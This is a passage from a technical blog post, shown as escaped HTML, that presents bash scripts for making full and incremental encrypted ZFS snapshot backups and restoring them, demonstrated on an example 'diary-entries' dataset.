&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And now I&amp;rsquo;ll make a script called &lt;code>replicate-full-snapshots.sh&lt;/code> that creates full backups of my datasets:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Create full snapshots of datasets in DATASETS array.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">set&lt;/span> -eux
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>. settings.sh
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mkdir -p &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">FULL_SNAPSHOTS_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">TIMESTAMP&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>date -Iseconds | sed &lt;span style="color:#ed9d13">&amp;#39;s/://g&amp;#39;&lt;/span> | sed &lt;span style="color:#ed9d13">&amp;#39;s/+0000/Z/g&amp;#39;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">readonly&lt;/span> TIMESTAMP
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> DATASET in &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">DATASETS&lt;/span>[@]&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>; &lt;span style="color:#6ab825;font-weight:bold">do&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># Take a snapshot.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#40ffff">SNAPSHOT_NAME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">POOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">DATASET&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">@&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">TIMESTAMP&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> zfs snapshot &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">SNAPSHOT_NAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># Write the snapshot to a file.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#40ffff">OUTPUT_FILENAME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">SNAPSHOT_NAME&lt;/span>//&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">POOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">\/&lt;/span>/&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> zfs send --raw --verbose &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">SNAPSHOT_NAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &amp;gt; &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">FULL_SNAPSHOTS_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">OUTPUT_FILENAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">done&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The script iterates through each of the datasets I defined in &lt;code>settings.sh&lt;/code>, creates a new snapshot of each, and then creates a full backup of each snapshot.&lt;/p>
&lt;p>Next, I&amp;rsquo;ll create a script called &lt;code>replicate-incremental-snapshots.sh&lt;/code> that creates incremental backups:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Create incremental snapshots of datasets in DATASETS array relative to their&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># last full snapshot.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">set&lt;/span> -eux
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>. settings.sh
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mkdir -p &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">INCREMENTAL_SNAPSHOTS_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">TIMESTAMP&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>date -Iseconds | sed &lt;span style="color:#ed9d13">&amp;#39;s/://g&amp;#39;&lt;/span> | sed &lt;span style="color:#ed9d13">&amp;#39;s/+0000/Z/g&amp;#39;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">readonly&lt;/span> TIMESTAMP
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> DATASET in &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">DATASETS&lt;/span>[@]&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>; &lt;span style="color:#6ab825;font-weight:bold">do&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># Take a snapshot.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#40ffff">INCREMENTAL_SNAPSHOT&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">POOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">DATASET&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">@&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">TIMESTAMP&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> zfs snapshot &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">INCREMENTAL_SNAPSHOT&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># Find the most recent full snapshot.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#40ffff">BASE_SNAPSHOT_FILENAME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>basename &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>ls -tr &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">FULL_SNAPSHOTS_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">DATASET&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>* | tail -1&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#40ffff">BASE_SNAPSHOT&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">POOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">BASE_SNAPSHOT_FILENAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># Write the incremental snapshot to a file.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#40ffff">OUTPUT_FILENAME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">INCREMENTAL_SNAPSHOT&lt;/span>//&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">POOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">\/&lt;/span>/&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#40ffff">OUTPUT_PATH&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">INCREMENTAL_SNAPSHOTS_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">OUTPUT_FILENAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> zfs send --raw --verbose -i &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">BASE_SNAPSHOT&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">INCREMENTAL_SNAPSHOT&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &amp;gt; &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">OUTPUT_PATH&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">done&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>replicate-incremental-snapshots.sh&lt;/code> looks for the most recent full backup of each dataset and then creates an incremental backup relative to that.&lt;/p>
&lt;p>Note that &lt;code>replicate-incremental-snapshots.sh&lt;/code> wastes disk space in favor of simplicity. It always creates incremental backups relative to the last full backup and ignores more recent incremental backups. That means if I create a full backup on Monday and incremental backups for the next five days, I&amp;rsquo;m wasting space because my Wednesday backup will likely include redundant data from my Tuesday backup. I considered making incremental backups on top of other incremental backups, but that would increase complexity and potential for mistakes more than I want in a backup system.&lt;/p>
&lt;p>Finally, backup is not much use if you can&amp;rsquo;t recover, so I created a convenience script called &lt;code>snapshot-to-dataset.sh&lt;/code> that translates backup files back into a ZFS dataset:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">&lt;/span>&lt;span style="color:#999;font-style:italic">#&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Recover a dataset from an encrypted snapshot.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">#&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Usage:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># ./snapshot-to-dataset.sh new-dataset-name full-snapshot-path [incremental-snapshot-path]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">set&lt;/span> -ex
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>. settings.sh
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">NEW_DATASET_NAME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$1&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">readonly&lt;/span> NEW_DATASET_NAME
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">FULL_SNAPSHOT_PATH&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$2&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">readonly&lt;/span> FULL_SNAPSHOT_PATH
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">INCREMENTAL_SNAPSHOT_PATH&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$3&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">readonly&lt;/span> INCREMENTAL_SNAPSHOT_PATH
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">set&lt;/span> -u
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Restore from base snapshot&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zfs receive &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">POOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEW_DATASET_NAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &amp;lt; &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">FULL_SNAPSHOT_PATH&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> [[ -n &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">INCREMENTAL_SNAPSHOT_PATH&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> ]]; &lt;span style="color:#6ab825;font-weight:bold">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># Update dataset to latest incremental snapshot&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> zfs receive &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">POOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEW_DATASET_NAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &amp;lt; &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">INCREMENTAL_SNAPSHOT_PATH&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">fi&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>These scripts are available on GitHub:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/mtlynch/zfs-encrypted-backup">mtlynch/zfs-encrypted-backup&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="my-convenience-scripts-in-action">My convenience scripts in action&lt;/h2>
&lt;p>To show you how my scripts in action, I&amp;rsquo;m going to demonstrate them with my &lt;code>diary-entries&lt;/code> example dataset:&lt;/p>
&lt;p>Here&amp;rsquo;s my &lt;code>settings.sh&lt;/code> file:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">readonly&lt;/span> &lt;span style="color:#40ffff">POOL&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;pool1&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">readonly&lt;/span> &lt;span style="color:#40ffff">BASE_DIR&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;/mnt/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">POOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/secure-backups&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">readonly&lt;/span> &lt;span style="color:#40ffff">FULL_SNAPSHOTS_DIR&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">BASE_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/full-snapshots&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">readonly&lt;/span> &lt;span style="color:#40ffff">INCREMENTAL_SNAPSHOTS_DIR&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">BASE_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/incremental-snapshots&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">DATASETS&lt;/span>=()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">DATASETS&lt;/span>+=(&lt;span style="color:#ed9d13">&amp;#34;diary-entries&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">readonly&lt;/span> DATASETS
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And now I&amp;rsquo;ll run a full backup:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>./replicate-full-snapshots.sh
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Did it work?&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ du -h /mnt/pool1/secure-backups/full-snapshots/diary-entries*
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>24K /mnt/pool1/secure-backups/full-snapshots/diary-entries@2022-07-27T073416-0400
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Cool, it created a backup file, as expected.&lt;/p>
&lt;p>Now, I&amp;rsquo;ll add some new data:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;I&amp;#39;ve got a blank space, so I&amp;#39;ll write a new diary entry&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &amp;gt; /mnt/pool1/diary-entries/2022-07-27.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Next, I&amp;rsquo;ll create an incremental backup that includes &lt;code>2022-07-27.txt&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>./replicate-incremental-snapshots.sh
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I should now see a new file in my &lt;code>incremental-snapshots&lt;/code> folder:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ du -h /mnt/pool1/secure-backups/incremental-snapshots/diary-entries*
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>12K /mnt/pool1/secure-backups/incremental-snapshots/diary-entries@2022-07-27T074246-0400
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And let&amp;rsquo;s see if I can recover from it. Recall that the syntax of my &lt;code>snapshot-to-dataset.sh&lt;/code> script is:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>./snapshot-to-dataset.sh new-dataset-name full-backup-file [incremental-backup-file]
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>With that, I&amp;rsquo;ll try recovering from my backups:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>./snapshot-to-dataset.sh &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> diary-entries-backup5 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> /mnt/pool1/secure-backups/full-snapshots/diary-entries@2022-07-27T073416-0400 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> /mnt/pool1/secure-backups/incremental-snapshots/diary-entries@2022-07-27T074246-0400
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Success! It created a new dataset with all of my files:&lt;/p>
